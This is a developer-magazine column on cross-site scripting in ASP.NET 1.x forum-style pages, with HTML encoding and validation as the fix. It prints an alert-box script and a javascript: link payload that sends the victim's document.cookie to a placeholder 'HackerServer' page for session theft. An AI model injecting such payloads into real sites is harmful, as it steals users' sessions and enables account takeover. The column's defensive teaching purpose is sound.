UI Tips

LANGUAGES: AllLanguages

ASP.NET VERSIONS:1.0, 1.1

XSSHappens

Don'tForget about Cross-site Scripting Attacks

By Brad McCabe

JohnPaul Mueller's February asp.netPRO article was about building secureASP.NET applications (see 7Tips for Secure Apps). This column continues in that vein.

Thebiggest challenge to developing secure applications is that most programmersdon't know they're writing insecure applications. Let's look at a simpleexample, a forum-type application. However, any application that displays dataentered by a user is a potential target.

Firstwe'll create a simple page that accepts a name and some text from a user andstores that information in a database. When the page is rendered, it displaysthe previous posts in a grid at the top of the page (see Figure 1).

Figure 1: Our sample page.

Thisappears to be a harmless application, and the concept is something that manypeople have done in their applications before. But let's look at this as ahacker might. What if I entered:

<script>alert('GotYou!');</script>

in thetext area, and clicked the button? The grid will render the JavaScript that wasset by the potential hacker, and the alert will fire and display a popup window(see Figure 2).

Figure 2: Harmless app? Or hacker handiwork?

Ifyou're attempting this in ASP.NET 1.1 you'll see an error, as shown in Figure3. This is because ASP.NET 1.1 has some built-in protection against obviousattempts at cross-site scripting (XSS) attacks. This protection is better thannothing, but shouldn't be relied on. There are ways for a hacker to get aroundit. The goal of security and good application design should always be layerupon layer; no one defense should be counted on as the magic bullet. The goalis to frustrate a hacker's attempts so the hacker simply moves on.

Figure 3: ASP.NET 1.1 has some built-inprotection against obvious attempts at cross-site scripting attacks.

Displayingan alert box hardly seems like anything to worry about, but what if our hackerinjected something like this:

<ahref="javascript:document.location.replace(

  'http://HackerServer/EvilPage.aspx?Cookie='

  %2Bdocument.cookie);">

  Yes, I want to claim my one million dollars!

</a>

Now whenthe user clicks on the link to win their million dollars, see "artwork" oftheir favorite celebrity, or follow a link to an interesting ASP.NET article,their cookies for the original site are sent to the hacker's Web site. Withthis information the hacker can log in to the original site as the victim.

Ourexample page simply echoed the cookie contents, so you could see that thesession information (and any other data in the cookie) has been stolen.However, the evil page would look more legitimate (see Figure 4).

Figure 4: Legitimizing the look of an evilpage.

Thistheft of personal information (and potentially more) was possible because, asan ASP.NET developer, we didn't lock down our application. All the hardenedrouters, SSL connections, and latest patches won't prevent this attack.

Thesolution to preventing cross-site scripting attacks is straightforward:Validate the input with things such as the ASP.NET built-in page validationthat we saw earlier, with regular expressions, or with validation controls. Inaddition, never display data without encoding it into HTML.

To solveour problem, we've encoded the data as it goes into the database, usingHttpUtility.HtmlEncode:

Me.SqlCommand1.Parameters("@Name").Value =

  HttpUtility.HtmlEncode(TextBox1.Text)

Thisensures that any other developer reading and displaying this data doesn'tmistakenly render potentially bad text. This should also be done at displaytime as well, just in case a hacker finds a way to inject malicious scriptsinto the database.

Figure 5: A few simple lines of code canhelp protect our applications and our application users.

Once this application is better secured, the resulting outputshould resemble Figure 5. As you can see, we can help protect our applications,and our applications' users, from cross-site scripting attacks with a fewsimple lines of code.

I encourage you to explore more about security issues with suchbooks as Michael Howard's Writing Secure Code, and events, such asDevDays (http://msdn.microsoft.com/events/devdays/).

Thefiles accompanying this article are available for download.

Brad McCabe is thetechnical evangelist for Infragistics. Brad also has been a systems architectand consultant for Verizon Communications and many other clients, and he was aleading .NET evangelist within Ajilon Consulting. His primary interests includeASP.NET, Windows CE .NET, .NET Compact Framework, and Microsoft's networkingtechnologies. E-mail him at mailto:uitips@aspnetPRO.com.